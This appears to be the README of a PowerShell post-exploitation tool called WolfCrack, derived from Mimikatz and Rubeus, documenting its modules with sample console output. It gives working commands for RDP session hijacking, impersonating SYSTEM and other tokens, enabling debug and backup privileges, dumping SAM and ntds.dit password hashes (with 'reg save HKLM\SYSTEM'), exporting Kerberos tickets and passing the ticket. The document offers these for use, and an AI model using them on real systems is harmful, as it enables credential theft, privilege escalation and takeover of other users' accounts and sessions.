PowerShell Tool to mainpulate windows security and kerberos abuse. This tool is adapted from Mimikatz project and from Rubeus project and also took some help from
nishang project.

You Must run powershell as admin in order to make some of the commands work
This module is for manipulating rdp sessions.
- listing sessions
- rdp session hijacking.
This command will show you all the available sessions on your server.
WolfCrack # ts::sessions
User: WEBER\Administrator
Session Name: RDP-Tcp#8
Session Id: 2
User: WEBER\ansible
Session Name: Console
Session Id: 1
As you can see we have 2 sessions, one is connected via rdp (Administrator) and the other one is connected via console (ansible)
this command will let you hijack the rdp sessions you can see in the listing above.
it will get the session id of the remote session that you want to transfer to.
- id (session of remote id) [required]
WolfCrack # ts::remote /id:1
If the command succeeeded you will be transfered to the remote session.
this module is for manipulating token related stuffs.
- show your current token information.
- list all available tokens on the computer.
- elevating your token to a specific token you choose.
- reverting your token to your original one.
- running cmd as your elevated token.
this command will show you your current token info.
WolfCrack # token::whoami
UserName: WEBER\Administrator
Sid: S-1-5-21-2285584810-4222754310-1381224282-500
If you have impersonation token it will show it also in the info above
show current tokens on your server (this function loops over all the process on the server and show the unique tokens)
WolfCrack # token::list
User: WEBER\Administrator
Sid: S-1-5-21-2285584810-4222754310-1381224282-500
Type: Primary
Pid: 3908
User: NT AUTHORITY\SYSTEM
Sid: S-1-5-18
Type: Primary
Pid: 1220
User: WEBER\ansible
Sid: S-1-5-21-2285584810-4222754310-1381224282-1104
Type: Primary
Pid: 1572
User: Window Manager\DWM-3
Sid: S-1-5-90-3
Type: Primary
Pid: 284
User: Window Manager\DWM-2
Sid: S-1-5-90-2
Type: Primary
Pid: 2640
User: NT AUTHORITY\NETWORK SERVICE
Sid: S-1-5-20
Type: Primary
Pid: 2900
User: NT AUTHORITY\LOCAL SERVICE
Sid: S-1-5-19
Type: Primary
Pid: 304
Now you can impersonate to which token you choose from the list you get by using the WolfCrack # token::elevate /id: command.
Lets you impersonate your token to one you choose from another process (if you didn't provide the /id: argument it will automatically impersonate to SYSTEM).
- id (pid of process) [optional]
WolfCrack # token::elevate
[*] Successfuly impersonated
WolfCrack # token::whoami
UserName: NT AUTHORITY\SYSTEM
ImpersonationLevel: Impersonation
Sid: S-1-5-18
As you can see the default elevate command (without arguments) will impersonate you to be system)
WolfCrack # token::elevate /id:2900
[*] Successfuly impersonated
WolfCrack # token::whoami
UserName: NT AUTHORITY\NETWORK SERVICE
ImpersonationLevel: Impersonation
Sid: S-1-5-20
And as you can see it also works with the id argument (it receives the pid of the process)
Lets you revert to your original token.
WolfCrack # token::revert
[*] Successfully reverted
WolfCrack # token::whoami
UserName: WEBER\Administrator
Sid: S-1-5-21-2285584810-4222754310-1381224282-500
Lets you run cmd with your elevated token(if it has permission to do that).
WolfCrack # token::cmd
This module is for manipulating permissions related stuffs.
- let you adjust your current token and add permissions to it.
WolfCrack # privilege::debug
[*] Privilege '20' OK
WolfCrack # privilege::backup
[*] Privilege '17' OK
WolfCrack # privilege::restore
[*] Privilege '18' OK
As you can see you can adjust your token and add privileges you may need. (possible options are: tcb, security, driver, backup, restore, debug, system)
This module is for retriving hashes from the current sam database or from an ntds file.
- let you retrieve hashes from the current sam database.
- let you retrieve hashes from ntds.dit file.
Retrieve the hashes (nt and lm hash) of the users on the current server you are on (works with every windows version).
WolfCrack # lsadump::sam
[*] Successfuly impersonated
Domain: WEBERDC
SysKey: bb5050ffa20b87e9d488f5c9d5c5b6b7

LmHash:
NtHash:
[*] Successfully reverted
As you can see now we have the nt hash(also known as ntlm hash) of the Administrator user.
Retrieve the hashes (nt and lm hash) of the users saved on the current ntds.dit file. (works with every windows server version)
- ntds (path to the ntds.dit file) [required]
- system (path to the system hive file of the server the ntds.dit file is from) [required]
in order for this to work you need to get the files like that: - the ntds.dit file, get however you want, but if it is damaged, you will need to repair it with the following command
esentutl /p <path_to_ntds_file> - the system hive you must get with the following command
reg save HKLM\SYSTEM System.hiv
WolfCrack # lsadump::ntds /ntds:"C:\Users\yuval_000\Desktop\ntds.dit" /system:"C:\Users\yuval_000\Desktop\SYSTEM"

This module is for manipulating kerberos related stuffs.
- show the tickets of all the users on the current server (include computer account) and export them to file if the argument is specified.
- pass the ticket (using another people ticket and inject it to your own session).
- purging your own tickets.
- showing your current tickets.
lists all the kerberos tickets of users (and computer account) on the server anf if specified also export them to files.
- export [optional]

As you can see it shows info about the user, and the tickets the user has in his session. If you specify the /export flag then the tickets will be saved in your desktop in a folder called tickets
WolfCrack # kerberos::list /export
The tickets name is in the following format: username@service-domainName.kirbi
This feature lets you take a kirbi file (ticket file) and inject it to your own session.
- path to the kirbi file [required]

As you can see it takes the ticket inside the kirbi file and inject it to our current session.
this feature lets you clear all your kerberos tickets of your current session.

As you can see now we have 0 tickets in our session.
this just run the windows command klist, I did this because it was not comfortable to see your own ticket with the WolfCrack # kerberos::list command because it has many tickets of many users.

This is the last module.
It has information about all the modules and many examples so you could understand how to work with the tool.
- name of the module.
WolfCrack # help::privilege
This is just an example how to run it in order to get the help you need.
